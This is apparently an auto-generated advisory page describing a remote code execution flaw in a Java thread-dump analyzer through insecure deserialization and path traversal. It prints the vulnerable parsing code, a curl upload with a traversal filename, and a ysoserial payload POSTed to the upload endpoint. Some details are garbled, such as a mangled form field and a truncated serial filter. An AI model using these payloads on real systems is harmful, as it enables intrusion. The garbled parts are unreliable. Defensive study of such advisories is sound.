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Bit2611 thread-analyzer is a utility designed for parsing, visualizing, and analyzing Java process thread dumps to diagnose application deadlocks and performance bottlenecks. The component exposes a file upload and parsing API endpoint designed to accept structured stack trace logs and dump text files. Due to missing input sanitization and inadequate access control validation on the file handling functionality, unauthenticated remote attackers can craft malicious payloads that trigger insecure deserialization or path traversal during file parsing.
When a file is submitted to the processing queue, the underlying logic passes user-controlled parameters directly into execution methods without path canonicalization or strict object type restriction. An attacker can supply a specially crafted dump file containing serialized Java objects or directory traversal sequences (../). During execution, the application attempts to deserialize the user-provided data stream to map process states, allowing arbitrary object instantiation. This leads to arbitrary command execution within the context of the underlying service user, completely compromising the host running the application.
DailyCVE Form:
Platform: Bit2611 Thread Analyzer
Version: 1.0.0 and below
Vulnerability : Remote Code Execution
Severity: Critical (9.8)
date: October 2024
Prediction: Patch Released October 2024
(end of form)
What Undercode Say: Analytics
Bash Commands and Codes
Clone the repository git clone https://github.com/Bit2611/thread-analyzer.git cd thread-analyzer Verify running process listening on port 8080 netstat -tuln | grep 8080 Send crafted exploit payload targeting file parsing endpoint curl -X POST "http://localhost:8080/api/analyze" \ -H "Content-Type: multipart/form-data" \ -F "[email protected]" \ -F "filename=../../../../tmp/shell.sh"
// Vulnerable file processing logic example
public void parseThreadDump(File file) {
try {
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
// Insecure deserialization without class filtering
Object dumpData = ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
How Exploit: (Educational Purposes!)
Generate a malicious serialized payload using ysoserial java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.dump Exploit execution via HTTP POST payload submission curl -X POST http://target-app:8080/api/analyze \ --data-binary "@payload.dump" \ -H "Content-Type: application/octet-stream"
Protection:
Update repository to latest release commit git pull origin main Apply object filter input validation in Java runtime Use ValidatingObjectInputStream or Java Serial Filter mechanisms: jdk.serialFilter=maxbytes=102400;!
Impact:
High. Successful exploitation allows unauthenticated attackers to execute arbitrary system commands on the hosting server, leading to full remote system compromise, unauthorized data access, and lateral movement within the network environment.
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Sources:
Reported By: github.com
Extra Source Hub:
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